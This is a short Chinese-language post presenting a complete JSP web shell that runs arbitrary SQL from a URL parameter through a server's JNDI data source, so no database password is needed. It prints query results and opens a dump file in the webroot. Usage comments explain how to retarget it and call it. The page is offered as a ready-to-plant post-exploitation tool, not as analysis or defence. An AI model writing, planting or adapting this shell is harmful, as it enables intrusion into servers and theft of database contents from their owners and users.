无需数据库密码-JNDI数据源方式执行Sql语句
如果只找到数据源的情况下可以直接用数据源的名连接数据库,不需要找到具体的密码。
<%@page import="java.io.File"%> <%@page import="java.io.FileWriter"%> <%@page import="java.io.BufferedWriter"%> <%@ page contentType="text/html;charset=gb2312"%> <%@ page import="java.sql.*"%> <%@ page import="javax.sql.*"%> <%@ page import="javax.naming.*"%> <html> <body> <!-- 使用方法:修改java:comp/env/jdbc/tfms为你自己的数据源名字 请求http://xxx.com/xxx.jsp?sql=select xxx from xxx即可 --> <pre> <% Context ctx = new InitialContext(); Connection conn = null; ctx = new InitialContext(); DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/tfms"); conn = ds.getConnection(); Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); String sql = request.getParameter("sql"); ResultSet rs = stmt.executeQuery(sql); ResultSetMetaData d = rs.getMetaData(); BufferedWriter bw = new BufferedWriter(new FileWriter(new File(request.getSession().getServletContext().getRealPath("/")+"back-db.txt"),true)); for (int i = 1; i <= d.getColumnCount(); i++) { out.println(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t"); } out.println("<br/>"); while (rs.next()) { for (int i = 1; i <= d.getColumnCount(); i++) { out.println(rs.getObject(d.getColumnName(i))); } out.println("<br/>"); } %> <% rs.close(); stmt.close(); conn.close(); %> </pre> </body> </html>